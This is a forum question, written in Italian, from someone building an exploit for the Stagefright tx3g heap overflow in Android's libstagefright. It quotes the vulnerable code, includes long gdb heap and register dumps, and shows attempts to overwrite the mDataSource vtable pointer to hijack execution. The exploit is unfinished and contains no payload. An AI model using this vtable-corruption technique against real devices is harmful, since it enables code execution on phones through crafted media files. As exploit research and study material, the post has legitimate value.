// overflow here, so that size + chunk_size == 32 and size > 32
uint8_t *buffer = new uint8_t[size + chunk_size];
// buffer is allocated immediately before mDataSource
if (size > 0) {
// this will overflow and corrupt the mDataSource vtable
memcpy(buffer, data, size);
}
// this call goes through the corrupt vtable, and we get control of execution
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
Ho impostato breakpoint prima e dopo memcpy () e speravo di vedere l'addr della funzione readAt () in vtable, ma in qualche modo non è lì.
Come posso trovarlo?
L'indirizzo della funzione readAt () è
(gdb) b android::MPEG4DataSource::readAt
Breakpoint 3 at 0xb6704b68
chiamata memcpy:
0xb670a5c6 <+6702>: ldr r1, [sp, #96] ; 0x60
0xb670a5c8 <+6704>: blx 0xb66e3f84 <memcpy@plt>
0xb670a5cc <+6708>: ldr r0, [r6, #80] ; 0x50
registri
(gdb) i r
r0 0xb7499ab8 3075054264
r1 0xb749b800 3075061760
r2 0x7d 125
r3 0xffffffff 4294967295
r4 0x7d 125
r5 0x0 0
r6 0xb749a250 3075056208
r7 0xb4e83540 3035116864
r8 0xb7499ab8 3075054264
r9 0xb4e83a68 3035118184
r10 0x5c 92
r11 0x1 1
r12 0x1 1
sp 0xb4e834d0 0xb4e834d0
lr 0xb6f14a43 -1225700797
pc 0xb670a5c8 0xb670a5c8 <android::MPEG4Extractor::parseChunk(long long*, int)+6704>
cpsr 0xa0070030 -1610153936
buffer dump (è all'indirizzo R0)
(gdb) x/20000x 0xb7499ab8
0xb7499ab8: 0xb6f45130 0xb6f45130 0x41414141 0x41414141
0xb7499ac8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb7499ad8: 0x00000000 0x00000000 0x00000030 0x00000023
0xb7499ae8: 0x00000001 0x00000001 0xb749ab10 0x00000000
0xb7499af8: 0x74732d74 0x6d616572 0x00000020 0x00000033
0xb7499b08: 0xb67beee8 0xb7499b38 0xb7499b50 0x00000000
0xb7499b18: 0xb7495860 0x00000000 0x0000001c 0x00000000
0xb7499b28: 0x0100024c 0xb1cb3008 0x00000000 0x0000001b
0xb7499b38: 0x00000001 0x00000001 0xb7499b08 0x00000000
0xb7499b48: 0x00000000 0x0000002b 0xb67be688 0xb7499b78
0xb7499b58: 0x00000000 0xb67be678 0xb7499b90 0xb67be678
0xb7499b68: 0xb7499ba0 0x00000000 0x00000000 0x0000001b
0xb7499b78: 0x00000001 0x00000001 0xb7499b50 0x00000000
0xb7499b88: 0x00000000 0x00000013 0x00000000 0xb7499c60
0xb7499b98: 0xb7499bb0 0x00000013 0x00000720 0xb7499c70
0xb7499ba8: 0xb7499c70 0x00000013 0xb6705e65 0xb7499b90
0xb7499bb8: 0xb7499bc0 0x00000013 0xb674d971 0xb7499bb0
0xb7499bc8: 0xb7499bd0 0x00000013 0xb672ac11 0xb7499bc0
0xb7499bd8: 0xb7499be0 0x00000013 0xb6732a79 0xb7499bd0
0xb7499be8: 0xb7499bf0 0x00000013 0xb670090d 0xb7499be0
0xb7499bf8: 0xb7499c00 0x00000013 0xb66f1d61 0xb7499bf0
0xb7499c08: 0xb7499c10 0x00000013 0xb675f3b5 0xb7499c00
0xb7499c18: 0xb7499c20 0x00000013 0xb6701dad 0xb7499c10
---Type <return> to continue, or q <return> to quit---
0xb7499c28: 0xb7499c30 0x00000013 0xb66f0b91 0xb7499c20
0xb7499c38: 0xb7499c40 0x00000013 0xb675dbdd 0xb7499c30
0xb7499c48: 0xb7499c50 0x00000013 0xb6733999 0xb7499c40
0xb7499c58: 0xb7499c60 0x00000013 0xb6734f85 0xb7499c50
0xb7499c68: 0xb7499b90 0x00000013 0xb50c50d5 0xb7499ba0
0xb7499c78: 0xb7499ba0 0x0000002b 0x4c4c4c4c 0x4c4c4c4c
0xb7499c88: 0x4c4c4c4c 0x4c4c4c4c 0x4c4c4c4c 0x4c4c4c4c
0xb7499c98: 0x4c4c4c4c 0x4c4c4c4c 0x00000008 0x0000002b
0xb7499ca8: 0x4c4c4c4c 0x4c4c4c4c 0x4c4c4c4c 0x4c4c4c4c
0xb7499cb8: 0x4c4c4c4c 0x4c4c4c4c 0x4c4c4c4c 0x4c4c4c4c
0xb7499cc8: 0x2f6e6f69 0x0000001b 0x00000002 0x00000002
0xb7499cd8: 0xb749bad8 0x00000000 0x00000018 0x00000023
0xb7499ce8: 0x000011c7 0x00000000 0x00010000 0x00000000
0xb7499cf8: 0xb7499808 0xb74969e8 0x00000020 0x00000013
0xb7499d08: 0xb7499838 0xb7499828 0xb7499d40 0x0000001b
0xb7499d18: 0xb3107008 0x00010000 0xb749b330 0x00000000
0xb7499d28: 0x00000018 0x00000013 0xb3118008 0x00010000
0xb7499d38: 0x007cf93a 0x00000013 0xb7499d30 0xb7499d08
0xb7499d48: 0xb7499d88 0x0000001b 0xb30f6008 0x00010000
0xb7499d58: 0xb749a2f0 0x00000000 0x00000018 0x00000023
0xb7499d68: 0x0000116a 0x00000000 0x00010000 0x00000000
0xb7499d78: 0xb74969e8 0xb7499d98 0x00000020 0x00000013
0xb7499d88: 0xb7499d18 0xb7499d40 0xb7499db8 0x00000023
---Type <return> to continue, or q <return> to quit---
0xb7499d98: 0x00001366 0x00000000 0x00010000 0x00000000
0xb7499da8: 0xb7499d68 0xb7496a40 0x00000020 0x00000013
0xb7499db8: 0xb7499d50 0xb7499d88 0xb7499dd8 0x00000013
0xb7499dc8: 0xb30e5008 0x00010000 0xb749a2f0 0x00000013
0xb7499dd8: 0xb7499dc8 0xb7499db8 0xb7499e10 0x0000001b
0xb7499de8: 0xb30c3008 0x00010000 0xb749b330 0x00000000
0xb7499df8: 0x00000018 0x00000013 0xb30d4008 0x00010000
0xb7499e08: 0x00540048 0x00000013 0xb7499e00 0xb7499dd8
0xb7499e18: 0xb7499e20 0x00000013 0xb7499de8 0xb7499e10
0xb7499e28: 0xb7499e58 0x0000001b 0xb30a1008 0x00010000
0xb7499e38: 0xb749b330 0x00000000 0x00000018 0x00000013
0xb7499e48: 0xb30b2008 0x00010000 0x00540048 0x00000013
0xb7499e58: 0xb7499e48 0xb7499e20 0xb7499e68 0x00000013
0xb7499e68: 0xb7499e30 0xb7499e58 0xb7499e88 0x00000013
0xb7499e78: 0xb3090008 0x00010000 0x0065006d 0x00000013
0xb7499e88: 0xb7499e78 0xb7499e68 0xb7499ea8 0x00000013
0xb7499e98: 0xb307f008 0x00010000 0x0065006d 0x00000013
0xb7499ea8: 0xb7499e98 0xb7499e88 0xb7499ec8 0x00000013
0xb7499eb8: 0xb306e008 0x00010000 0x0065006d 0x00000013
0xb7499ec8: 0xb7499eb8 0xb7499ea8 0xb7499ee8 0x00000013
0xb7499ed8: 0xb1ca2008 0x00010000 0x0065006d 0x00000013
0xb7499ee8: 0xb7499ed8 0xb7499ec8 0xb7499f08 0x00000013
0xb7499ef8: 0xb1c91008 0x00010000 0x0065006d 0x00000013
---Type <return> to continue, or q <return> to quit---
0xb7499f08: 0xb7499ef8 0xb7499ee8 0xb7499f28 0x00000013
0xb7499f18: 0xb1c80008 0x00010000 0x0065006d 0x00000013
0xb7499f28: 0xb7499f18 0xb7499f08 0xb7499f48 0x00000013
0xb7499f38: 0xb1c6f008 0x00010000 0x0065006d 0x00000013
0xb7499f48: 0xb7499f38 0xb7499f28 0xb7499f68 0x00000013
0xb7499f58: 0xb1c5e008 0x00010000 0x0065006d 0x00000013
0xb7499f68: 0xb7499f58 0xb7499f48 0xb7499f88 0x00000013
0xb7499f78: 0xb1c4d008 0x00010000 0x0065006d 0x00000013
0xb7499f88: 0xb7499f78 0xb7499f68 0xb7499fa8 0x00000013
0xb7499f98: 0xb1c3c008 0x00010000 0x0065006d 0x00000013
0xb7499fa8: 0xb7499f98 0xb7499f88 0xb7499fc8 0x00000013
0xb7499fb8: 0xb1c2b008 0x00010000 0x0065006d 0x00000013
0xb7499fc8: 0xb7499fb8 0xb7499fa8 0xb7499fe8 0x00000013
0xb7499fd8: 0xb1c1a008 0x00010000 0x0065006d 0x00000013
0xb7499fe8: 0xb7499fd8 0xb7499fc8 0xb749a008 0x00000013
0xb7499ff8: 0xb1c09008 0x00010000 0x0065006d 0x00000013
0xb749a008: 0xb7499ff8 0xb7499fe8 0xb749a028 0x00000013
0xb749a018: 0xb1bf8008 0x00010000 0x0065006d 0x00000013
0xb749a028: 0xb749a018 0xb749a008 0xb749a048 0x00000013
0xb749a038: 0xb1be7008 0x00010000 0x0065006d 0x00000013
0xb749a048: 0xb749a038 0xb749a028 0xb749a068 0x00000013
0xb749a058: 0xb1bd6008 0x00010000 0x0065006d 0x00000013
0xb749a068: 0xb749a058 0xb749a048 0xb749a088 0x00000013
---Type <return> to continue, or q <return> to quit---
0xb749a078: 0xb1bc5008 0x00010000 0x0065006d 0x00000013
0xb749a088: 0xb749a078 0xb749a068 0xb749a0a8 0x00000013
0xb749a098: 0xb1bb4008 0x00010000 0x0065006d 0x00000013
0xb749a0a8: 0xb749a098 0xb749a088 0xb749a0e0 0x0000001b
0xb749a0b8: 0xb1b92008 0x00010000 0xb749b330 0x00000000
0xb749a0c8: 0x00000018 0x00000013 0xb1ba3008 0x00010000
0xb749a0d8: 0x00540048 0x00000013 0xb749a0d0 0xb749a0a8
0xb749a0e8: 0xb749a0f0 0x00000013 0xb749a0b8 0xb749a0e0
0xb749a0f8: 0xb749a128 0x0000001b 0xb1b70008 0x00010000
0xb749a108: 0xb749b330 0x00000000 0x00000018 0x00000013
0xb749a118: 0xb1b81008 0x00010000 0x00540048 0x00000013
0xb749a128: 0xb749a118 0xb749a0f0 0xb749a138 0x00000013
0xb749a138: 0xb749a100 0xb749a128 0xb749a158 0x00000013
0xb749a148: 0xb1b5f008 0x00010000 0x0065006d 0x00000013
0xb749a158: 0xb749a148 0xb749a138 0xb749a178 0x00000013
0xb749a168: 0xb1b4e008 0x00010000 0x0065006d 0x00000013
0xb749a178: 0xb749a168 0xb749a158 0xb749a1b0 0x0000001b
0xb749a188: 0xb1b2c008 0x00010000 0xb749b330 0x00000000
0xb749a198: 0x00000018 0x00000013 0xb1b3d008 0x00010000
0xb749a1a8: 0x00540048 0x00000013 0xb749a1a0 0xb749a178
0xb749a1b8: 0xb749a1d8 0x0000001b 0xb1b1b008 0x00010000
0xb749a1c8: 0xb749a2f0 0x00000000 0x00000018 0x00000013
0xb749a1d8: 0xb749a188 0xb749a1b0 0xb749a1e8 0x00000013
---Type <return> to continue, or q <return> to quit---
0xb749a1e8: 0xb749a1c0 0xb749a1d8 0xb749a220 0x0000001b
0xb749a1f8: 0xb1af9008 0x00010000 0xb749a2f0 0x00000000
0xb749a208: 0x00000018 0x00000013 0xb1b0a008 0x00010000
0xb749a218: 0x00000000 0x00000013 0xb749a210 0xb749a1e8
0xb749a228: 0xb749a230 0x00000013 0xb749a1f8 0xb749a220
0xb749a238: 0xb7495ed0 0x00000013 0xb1ae8008 0x00010000
0xb749a248: 0x00000010 0x000000a3 0xb67bedc8 0xb74998c0
0xb749a258: 0x66657400 0xb67bed28 0x00000000 0x00000000
0xb749a268: 0x00000000 0x00000008 0x00000000 0x00000000
0xb749a278: 0xb67bed50 0xb749bbc8 0x0000001c 0x00000000
0xb749a288: 0x00000018 0xb67bed78 0x00000000 0x00000000
0xb749a298: 0x00000000 0x00000014 0xb749bad8 0xffffffed
0xb749a2a8: 0x00000000 0x00000000 0xb7499a40 0xb7499a40
0xb749a2b8: 0xb74998d8 0xb67bcb60 0xb74998a8 0x00000003
0xb749a2c8: 0x00000007 0x00000004 0xb7429680 0xb7429680
0xb749a2d8: 0xb7429680 0x00000000 0x00000000 0x00000000
0xb749a2e8: 0x00000000 0x00000013 0xb748d820 0xb748d810
0xb749a2f8: 0xb749a310 0x00000013 0xb1a1c008 0x00010000
0xb749a308: 0xb749bb50 0x00000013 0xb749a300 0xb749a2f0
0xb749a318: 0xb749a330 0x00000013 0xb1a0b008 0x00010000
0xb749a328: 0xb749b330 0x00000013 0xb749a320 0xb749a310
0xb749a338: 0xb749a350 0x00000013 0xb19fa008 0x00010000
0xb749a348: 0xb749bb50 0x00000013 0xb749a340 0xb749a330
---Type <return> to continue, or q <return> to quit---
0xb749a358: 0xb749a370 0x00000013 0xb19e9008 0x00010000
0xb749a368: 0xb749b330 0x00000013 0xb749a360 0xb749a350
0xb749a378: 0xb749a3a8 0x0000001b 0xb19c7008 0x00010000
0xb749a388: 0xb749bb50 0x00000000 0x00000018 0x00000013
0xb749a398: 0xb19d8008 0x00010000 0x00540048 0x00000013
0xb749a3a8: 0xb749a398 0xb749a370 0xb749a3b8 0x00000013
0xb749a3b8: 0xb749a380 0xb749a3a8 0xb749a3d8 0x00000013
0xb749a3c8: 0xb19b6008 0x00010000 0xb749bb50 0x00000013
0xb749a3d8: 0xb749a3c8 0xb749a3b8 0xb749a3f8 0x00000013
0xb749a3e8: 0xb19a5008 0x00010000 0xb749b330 0x00000013
0xb749a3f8: 0xb749a3e8 0xb749a3d8 0xb749a418 0x00000013
0xb749a408: 0xb1994008 0x00010000 0xb749bb50 0x00000013
0xb749a418: 0xb749a408 0xb749a3f8 0xb749a438 0x00000013
0xb749a428: 0xb1983008 0x00010000 0xb749b330 0x00000013
0xb749a438: 0xb749a428 0xb749a418 0xb749a470 0x0000001b
0xb749a448: 0xb1961008 0x00010000 0xb749bb50 0x00000000
0xb749a458: 0x00000018 0x00000013 0xb1972008 0x00010000
0xb749a468: 0x00540048 0x00000013 0xb749a460 0xb749a438
0xb749a478: 0xb749a480 0x00000013 0xb749a448 0xb749a470
0xb749a488: 0xb749a4a0 0x00000013 0xb1950008 0x00010000
0xb749a498: 0xb749bb50 0x00000013 0xb749a490 0xb749a480
0xb749a4a8: 0xb749a4c0 0x00000013 0xb193f008 0x00010000
0xb749a4b8: 0xb749b330 0x00000013 0xb749a4b0 0xb749a4a0
---Type <return> to continue, or q <return> to quit---
0xb749a4c8: 0xb749a4e0 0x00000013 0xb192e008 0x00010000
0xb749a4d8: 0xb749bb50 0x00000013 0xb749a4d0 0xb749a4c0
0xb749a4e8: 0xb749a500 0x00000013 0xb191d008 0x00010000
0xb749a4f8: 0xb749b330 0x00000013 0xb749a4f0 0xb749a4e0
0xb749a508: 0xb749a538 0x0000001b 0xb18fb008 0x00010000
0xb749a518: 0xb749bb50 0x00000000 0x00000018 0x00000013
0xb749a528: 0xb190c008 0x00010000 0x00540048 0x00000013
0xb749a538: 0xb749a528 0xb749a500 0xb749a548 0x00000013
0xb749a548: 0xb749a510 0xb749a538 0xb749a568 0x00000013
0xb749a558: 0xb18ea008 0x00010000 0xb749bb50 0x00000013
0xb749a568: 0xb749a558 0xb749a548 0xb749a588 0x00000013
0xb749a578: 0xb18d9008 0x00010000 0xb749b330 0x00000013
0xb749a588: 0xb749a578 0xb749a568 0xb749a5c0 0x0000001b
0xb749a598: 0xb18b7008 0x00010000 0xb749bb50 0x00000000
0xb749a5a8: 0x00000018 0x00000013 0xb18c8008 0x00010000
0xb749a5b8: 0x00540048 0x00000013 0xb749a5b0 0xb749a588
0xb749a5c8: 0xb749a5d0 0x00000013 0xb749a598 0xb749a5c0
0xb749a5d8: 0xb749a608 0x0000001b 0xb1895008 0x00010000
0xb749a5e8: 0xb749bb50 0x00000000 0x00000018 0x00000013
0xb749a5f8: 0xb18a6008 0x00010000 0x00540048 0x00000013
0xb749a608: 0xb749a5f8 0xb749a5d0 0xb749a618 0x00000013
0xb749a618: 0xb749a5e0 0xb749a608 0xb749a638 0x00000013
0xb749a628: 0xb1884008 0x00010000 0xb749bb50 0x00000013
---Type <return> to continue, or q <return> to quit---
0xb749a638: 0xb749a628 0xb749a618 0xb749a658 0x00000013
0xb749a648: 0xb1873008 0x00010000 0xb749b330 0x00000013
0xb749a658: 0xb749a648 0xb749a638 0xb749a678 0x00000013
0xb749a668: 0xb1862008 0x00010000 0xb749bb50 0x00000013
0xb749a678: 0xb749a668 0xb749a658 0xb749a698 0x00000013
0xb749a688: 0xb1851008 0x00010000 0xb749b330 0x00000013
0xb749a698: 0xb749a688 0xb749a678 0xb749a6b8 0x00000013
0xb749a6a8: 0xb1840008 0x00010000 0xb749bb50 0x00000013
0xb749a6b8: 0xb749a6a8 0xb749a698 0xb749a6d8 0x00000013
0xb749a6c8: 0xb182f008 0x00010000 0xb749b330 0x00000013
0xb749a6d8: 0xb749a6c8 0xb749a6b8 0xb749a6f8 0x00000013
0xb749a6e8: 0xb181e008 0x00010000 0xb749bb50 0x00000013
0xb749a6f8: 0xb749a6e8 0xb749a6d8 0xb749a718 0x00000013
0xb749a708: 0xb180d008 0x00010000 0xb749b330 0x00000013
0xb749a718: 0xb749a708 0xb749a6f8 0xb749a750 0x0000001b
0xb749a728: 0xb17eb008 0x00010000 0xb749bb50 0x00000000
0xb749a738: 0x00000018 0x00000013 0xb17fc008 0x00010000
0xb749a748: 0x00540048 0x00000013 0xb749a740 0xb749a718
0xb749a758: 0xb749a778 0x0000001b 0xb17da008 0x00010000
0xb749a768: 0xb749b330 0x00000000 0x00000018 0x00000013
0xb749a778: 0xb749a728 0xb749a750 0xb749a788 0x00000013
0xb749a788: 0xb749a760 0xb749a778 0xb749a7c0 0x0000001b
0xb749a798: 0xb17b8008 0x00010000 0xb749b330 0x00000000
---Type <return> to continue, or q <return> to quit---
0xb749a7a8: 0x00000018 0x00000013 0xb17c9008 0x00010000
0xb749a7b8: 0x00540048 0x00000013 0xb749a7b0 0xb749a788
0xb749a7c8: 0xb749a7d0 0x00000013 0xb749a798 0xb749a7c0
0xb749a7d8: 0xb749a7f0 0x00000013 0xb17a7008 0x00010000
0xb749a7e8: 0xb749b330 0x00000013 0xb749a7e0 0xb749a7d0
0xb749a7f8: 0xb749a810 0x00000013 0xb1796008 0x00010000
0xb749a808: 0xb749bb50 0x00000013 0xb749a800 0xb749a7f0
0xb749a818: 0xb749a848 0x0000001b 0xb1774008 0x00010000
0xb749a828: 0xb749b330 0x00000000 0x00000018 0x00000013
0xb749a838: 0xb1785008 0x00010000 0x00540048 0x00000013
0xb749a848: 0xb749a838 0xb749a810 0xb749a858 0x00000013
0xb749a858: 0xb749a820 0xb749a848 0xb749a878 0x00000013
0xb749a868: 0xb1763008 0x00010000 0xb749b330 0x00000013
0xb749a878: 0xb749a868 0xb749a858 0xb749a898 0x00000013
0xb749a888: 0xb1752008 0x00010000 0xb749bb50 0x00000013
0xb749a898: 0xb749a888 0xb749a878 0xb749a8b8 0x00000013
0xb749a8a8: 0xb1741008 0x00010000 0xb749b330 0x00000013
0xb749a8b8: 0xb749a8a8 0xb749a898 0xb749a8d8 0x00000013
0xb749a8c8: 0xb1730008 0x00010000 0xb749bb50 0x00000013
0xb749a8d8: 0xb749a8c8 0xb749a8b8 0xb749a8f8 0x00000013
0xb749a8e8: 0xb171f008 0x00010000 0xb749b330 0x00000013
0xb749a8f8: 0xb749a8e8 0xb749a8d8 0xb749a930 0x0000001b
0xb749a908: 0xb16fd008 0x00010000 0xb749bb50 0x00000000
---Type <return> to continue, or q <return> to quit---
0xb749a918: 0x00000018 0x00000013 0xb170e008 0x00010000
0xb749a928: 0x00540048 0x00000013 0xb749a920 0xb749a8f8
0xb749a938: 0xb749a958 0x0000001b 0xb16ec008 0x00010000
0xb749a948: 0xb749b330 0x00000000 0x00000018 0x00000013
0xb749a958: 0xb749a908 0xb749a930 0xb749a980 0x0000001b
0xb749a968: 0xb16db008 0x00010000 0xb749bb50 0x00000000
0xb749a978: 0x00000018 0x00000013 0xb749a940 0xb749a958
0xb749a988: 0xb749a9a8 0x0000001b 0xb16ca008 0x00010000
0xb749a998: 0xb749b330 0x00000000 0x00000018 0x00000013
0xb749a9a8: 0xb749a968 0xb749a980 0xb749a9b8 0x00000013
0xb749a9b8: 0xb749a990 0xb749a9a8 0xb749a9d8 0x00000013
0xb749a9c8: 0xb16b9008 0x00010000 0xb749b330 0x00000013
0xb749a9d8: 0xb749a9c8 0xb749a9b8 0xb749a9f8 0x00000013
0xb749a9e8: 0xb16a8008 0x00010000 0xb749bb50 0x00000013
0xb749a9f8: 0xb749a9e8 0xb749a9d8 0xb749aa18 0x00000013
0xb749aa08: 0xb1697008 0x00010000 0xb749b330 0x00000013
0xb749aa18: 0xb749aa08 0xb749a9f8 0xb749aa38 0x00000013
0xb749aa28: 0xb1686008 0x00010000 0xb749bb50 0x00000013
0xb749aa38: 0xb749aa28 0xb749aa18 0xb749aa58 0x00000013
0xb749aa48: 0xb1675008 0x00010000 0xb749b330 0x00000013
0xb749aa58: 0xb749aa48 0xb749aa38 0xb749aa78 0x00000013
0xb749aa68: 0xb1664008 0x00010000 0xb749bb50 0x00000013
0xb749aa78: 0xb749aa68 0xb749aa58 0xb749aab0 0x0000001b
---Type <return> to continue, or q <return> to quit---
0xb749aa88: 0xb1642008 0x00010000 0xb749b330 0x00000000
0xb749aa98: 0x00000018 0x00000013 0xb1653008 0x00010000
0xb749aaa8: 0x00540048 0x00000013 0xb749aaa0 0xb749aa78
0xb749aab8: 0xb749b330 0x00000023 0x00001464 0x00000000
0xb749aac8: 0x00010000 0x00000000 0xb749b398 0xb749aaf0
0xb749aad8: 0xb6f45138 0x00000013 0xb15dc008 0x00010000
0xb749aae8: 0xb749bbe8 0x00000023 0x0000149b 0x00000000
0xb749aaf8: 0x00010000 0x00000011 0xb749aac0 0xb7495e58
0xb749ab08: 0x00000020 0x00000823 0xb68eb970 0xb7499ae8
0xb749ab18: 0x66657463 0x00000001 0xb6f45220 0x00000006
0xb749ab28: 0x00000000 0x00000000 0x00000000 0x00000006
0xb749ab38: 0x00000001 0x00000000 0xb1cb3008 0x00000000
0xb749ab48: 0x00000000 0x00000000 0x00000000 0x00000004
0xb749ab58: 0x00000005 0x00000000 0x0100024c 0x00000000
0xb749ab68: 0x00000000 0x00000000 0x00000000 0x00000004
0xb749ab78: 0x00000002 0x00000000 0x00000000 0x00000000
0xb749ab88: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ab98: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749aba8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749abb8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749abc8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749abd8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749abe8: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0xb749abf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac08: 0x00000000 0x000083d1 0x00000000 0x00000000
0xb749ac18: 0x00008f00 0x0000800a 0x00000000 0x00000000
0xb749ac28: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac38: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac48: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac58: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac68: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac78: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac88: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ac98: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749aca8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749acb8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749acc8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749acd8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ace8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749acf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ad08: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ad18: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ad28: 0x00000000 0x000082b1 0x00000000 0x00000000
0xb749ad38: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ad48: 0x00000000 0x00000000 0x00000000 0x00000000
0xb749ad58: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
Come posso trovare il puntatore readAt () che voglio sovrascrivere?
C'è un modo per vedere quali addres nell'intervallo 0xb7499ab8 saranno accessibili successivamente?
La piattaforma è ARM (Android, Cyanogenmod)
Grazie,
Aggiornamento 1:
Modificata la sorgente per mostrare l'indirizzo del buffer e mDataSource
V/MPEG4Extractor( 5106): chunk: tx3g @ 16777864, 1
V/MPEG4Extractor( 5106): buffer addy = 0xb72f6cd0
V/MPEG4Extractor( 5106): mDataSource addy = 0xb72f4ea0
Con il buffer la mia comprensione era corretta, ma con mDataSource, non ho conoscenze.
Dopo la chiamata a memcpy ()
(gdb) x/20x 0xb72f6cd0
0xb72f6cd0: 0x7d000000 0x67337874 0x41414141 0x41414141
0xb72f6ce0: 0x41414141 0x41414141 0x41414141 0x41414141
0xb72f6cf0: 0x99999999 0x88888888 0x42424242 0x42424242
0xb72f6d00: 0x42424242 0x42424242 0x42424242 0x42424242
0xb72f6d10: 0x42424242 0x42424242 0x42424242 0x42424242
0x99999999 dovrebbe sovrascrivere il puntatore vtable mDataSource, ma questo è chiaramente sbagliato nell'exploit. Poiché mDataSource si trova a 0xb72f4ea0 e questo è ciò che ha:
(gdb) x/20 0xb72f4ea0
0xb72f4ea0: 0xb72f5120 0xffffffed 0x00000000 0x00000000
0xb72f4eb0: 0xb72f3a38 0xb72f3a38 0xb72f4ef0 0xb67c5b60
0xb72f4ec0: 0xb72f4ff8 0x00000001 0x00000007 0x00000004
0xb72f4ed0: 0xb7289680 0xb7289680 0xb7289680 0x00000000
0xb72f4ee0: 0x00000000 0x00000000 0x00000000 0x00000023
(gdb) x/60 0xb72f4ea0-64
0xb72f4e60: 0x00000000 0x00000000 0x00000000 0x00000008
0xb72f4e70: 0x00000000 0x00000000 0xb67c7d50 0xb72f6fc8
0xb72f4e80: 0x00000010 0x00000000 0x00000018 0xb67c7d78
0xb72f4e90: 0x00000000 0x00000000 0x00000000 0x00000014
0xb72f4ea0: 0xb72f5120 0xffffffed 0x00000000 0x00000000
0xb72f4eb0: 0xb72f3a38 0xb72f3a38 0xb72f4ef0 0xb67c5b60
0xb72f4ec0: 0xb72f4ff8 0x00000001 0x00000007 0x00000004
0xb72f4ed0: 0xb7289680 0xb7289680 0xb7289680 0x00000000
0xb72f4ee0: 0x00000000 0x00000000 0x00000000 0x00000023
0xb72f4ef0: 0xb67c8cb8 0xb72f4f10 0xb67c8c88 0x00000000
0xb72f4f00: 0x00000000 0x00000000 0x00000010 0x0000001b
0xb72f4f10: 0x00000001 0x00000001 0xb72f4ef0 0x00000000
0xb72f4f20: 0x00000000 0x00000023 0x00001318 0x00000000
0xb72f4f30: 0x00010000 0x00000000 0xb72f38a0 0xb72f38d0
0xb72f4f40: 0x00000020 0x00000013 0xb72f4d50 0xb72f4d40
Come posso sovrascrivere mDataSource per ottenere il controllo dell'esecuzione?
Aggiornamento 2:
aha .... mDataSource è un puntatore al puntatore, quindi prova questo:
Debug per Android:
V/MPEG4Extractor( 5570): chunk: avcC @ 16777832, 1
V/MPEG4Extractor( 5570): entering parseChunk 16777848/1
V/MPEG4Extractor( 5570): chunk: hvcC @ 16777848, 1
V/MPEG4Extractor( 5570): entering parseChunk 16777864/1
V/MPEG4Extractor( 5570): chunk: tx3g @ 16777864, 1
V/MPEG4Extractor( 5570): buffer addy = 0xb87a22d8
V/MPEG4Extractor( 5570): mDataSource addy = 0xb87a1488
(gdb) x/10x 0xb87a1488
0xb87a1488: 0xb87a1928 0xffffffed 0x00000000 0x00000000
0xb87a1498: 0xb879f170 0xb879f170 0xb87a14d8 0xb6795b60
0xb87a14a8: 0xb87a1600 0x00000001
(gdb) x/10x 0xb87a1928
0xb87a1928: 0xb6797ee8 0xb879f2d8 0xb87a1958 0x00000000
0xb87a1938: 0xb879ea60 0x00690064 0x0000001c 0x00000000
0xb87a1948: 0x0100024c 0xb1e24008
(gdb) disass 0xb6797ee8
Dump of assembler code for function _ZTVN7android15MPEG4DataSourceE:
0xb6797ee0 <+0>: andeq r0, r0, r0
0xb6797ee4 <+4>: andeq r0, r0, r0
0xb6797ee8 <+8>: ; <UNDEFINED> instruction: 0xb66dde5d
0xb6797eec <+12>: ; <UNDEFINED> instruction: 0xb66dde99
0xb6797ef0 <+16>: ; <UNDEFINED> instruction: 0xb6cbc21f
0xb6797ef4 <+20>: ; <UNDEFINED> instruction: 0xb6cbc21f
0xb6797ef8 <+24>: ; <UNDEFINED> instruction: 0xb6cbc513
0xb6797efc <+28>: ; <UNDEFINED> instruction: 0xb6cbc21f
0xb6797f00 <+32>: ; <UNDEFINED> instruction: 0xb66d70fd
0xb6797f04 <+36>: ; <UNDEFINED> instruction: 0xb66dcb1d
0xb6797f08 <+40>: ; <UNDEFINED> instruction: 0xb66dc4b7
0xb6797f0c <+44>: strbtlt r12, [sp], -r3, asr #9
0xb6797f10 <+48>: ; <UNDEFINED> instruction: 0xb66c8955
0xb6797f14 <+52>: strbtlt r6, [sp], -r5, ror #9
0xb6797f18 <+56>: ; <UNDEFINED> instruction: 0xb66bdc73
0xb6797f1c <+60>: strbtlt r6, [sp], -r5, lsr #8
0xb6797f20 <+64>: ; <UNDEFINED> instruction: 0xb66d6431
End of assembler dump.
So I tried to set:
0xb87a1928 to 0x11111111
(gdb) set *((int *) 0xb87a1928) = 0x11111111
(gdb) x/30x 0xb87a1928
0xb87a1928: 0x11111111 0xb879f2d8 0xb87a1958 0x00000000
0xb87a1938: 0xb879ea60 0x00690064 0x0000001c 0x00000000
Contine
Thread 12 "Binder_2" received signal SIGSEGV, Segmentation fault.
0xb66e1042 in android::MPEG4Extractor::parseChunk(long long*, int) () from /system/lib/libstagefright.so
(gdb) i r
pc 0xb66e1042 0xb66e1042 <android::MPEG4Extractor::parseChunk(long long*, int)+74>
Speravo di vederlo nel registro PC ....
(gdb) disass 0xb66e1042
